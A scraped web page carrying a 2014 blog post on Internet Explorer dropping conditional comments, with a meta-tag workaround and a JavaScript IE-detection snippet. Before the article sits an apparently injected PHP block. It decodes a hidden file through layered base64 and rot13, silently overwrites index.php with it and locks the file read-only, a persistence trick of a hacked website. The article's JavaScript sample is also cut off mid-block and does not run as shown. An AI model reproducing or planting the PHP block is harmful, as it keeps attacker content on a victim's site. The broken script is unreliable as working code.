$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Conditional comments in IE11

7th May 2014 in PSD to HTML

Conditional comments in IE11

As a web developer we all have used conditional comments in Internet Explorer at some point to fix the IE only issues. As Internet Explorer has added support for most of the modern features, now we usually do not need hacks or conditional comments to fix the issues.

Considering that conditional comments are no longer needed, and as a step towards making the web more consistent across browsers, Microsoft has officially dropped support of conditional comments in IE10

Support for conditional comments has been removed in Internet Explorer 10 standards and quirks modes for improved interoperability and compliance with HTML5. This means that Conditional Comments are now treated as regular comments, just like in other browsers. This change can impact pages written exclusively for Windows Internet Explorer or pages that use browser sniffing to alter their behaviour in Internet Explorer.

Internet Explorer Dev Center

But what if you have an old website that uses conditional comments to work properly in IE?

Microsoft offered a simple solution for this, add a meta tag in head of your HTML page to opt into Internet Explorer 9 behaviour.

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9">

Alternate solution

In a recent project i faced an issue, a custom font was not working properly in IE only. I was not able to find any solution other then using a hack. So i used following JavaScript code. This code detects if your browser is IE (any version) and add a CSS class names ie in body tag in HTML.

var ms_ie = false;
var ua = window.navigator.userAgent;
var old_ie = ua.indexOf('MSIE ');
var new_ie = ua.indexOf('Trident/');
if ((old_ie > -1) || (new_ie > -1)) {
    ms_ie = true;
if ( ms_ie ) {

After adding this code, you can write your IE only CSS code using .ie class in CSS.

About the author

Alok Jain

Alok design digital experiences to help businesses achieve their goals. He is passionate about designing right User Experience for their customers. For over 15 years, he have worked with small startups to mature product teams. Whether it is designing a WordPress product, a frontend experience, WooCommerce, Shopify, he follow the best product development practices for design and code, for desktop or mobile.